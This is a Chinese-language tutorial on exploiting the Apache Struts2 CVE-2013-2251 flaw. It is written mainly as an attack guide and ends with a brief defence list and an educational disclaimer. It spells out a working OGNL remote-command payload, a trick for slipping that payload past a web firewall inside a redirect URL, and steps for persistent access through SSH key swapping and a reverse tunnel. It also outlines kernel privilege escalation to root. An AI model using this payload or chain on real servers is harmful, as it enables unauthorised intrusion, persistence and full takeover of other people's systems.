如何利用Struts2漏洞绕过防火墙获取Root权限
字数 898 2025-08-18 11:37:19
Apache Struts2 CVE-2013-2251漏洞分析与利用指南
漏洞概述
Apache Struts2框架中存在一个远程代码执行漏洞(CVE-2013-2251),影响Struts2版本低于2.3.15。该漏洞允许攻击者通过操纵特定前缀的参数("action:"、"redirect:"或"redirectAction:")在目标服务器上执行任意命令。
漏洞原理
漏洞的核心在于Struts2框架对OGNL(Object-Graph Navigation Language)表达式的处理不当。当攻击者构造包含恶意OGNL表达式的请求时,框架会解析并执行这些表达式,导致远程代码执行。
漏洞利用步骤
1. 识别存在漏洞的系统
- 检查目标网站是否使用Struts2框架
- 确定框架版本是否低于2.3.15
2. 构造基本Payload
基本执行命令的Payload结构如下:
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
其中command替换为要执行的系统命令。
3. 绕过WAF防护
当基本Payload被WAF拦截时,可采用以下方法绕过:
-
首先确认目标允许重定向到外部网站:
redirect:http://www.example.com -
将恶意代码嵌入到重定向URL中:
redirect:http://www.example.com/${恶意OGNL表达式}
4. 建立持久化访问
通过SSH反向隧道和公钥认证建立持久访问:
- 获取目标服务器的SSH公钥(
id_rsa.pub) - 将该公钥添加到攻击者服务器的
authorized_keys文件中 - 将修改后的
authorized_keys文件复制回目标服务器 - 建立SSH反向连接
5. 权限提升
-
检查目标系统内核版本:
uname -a -
根据内核版本搜索对应的提权漏洞(如CVE-2013-2094)
-
下载并编译exploit代码
-
执行exploit获取root权限
防御措施
- 及时升级Struts2到最新版本
- 部署WAF规则拦截恶意OGNL表达式
- 限制服务器出站连接
- 定期更新操作系统内核
- 实施最小权限原则,限制应用程序运行权限
参考资源
请注意:本文仅用于教育目的,帮助安全人员了解漏洞原理并采取防御措施。未经授权的渗透测试是违法的。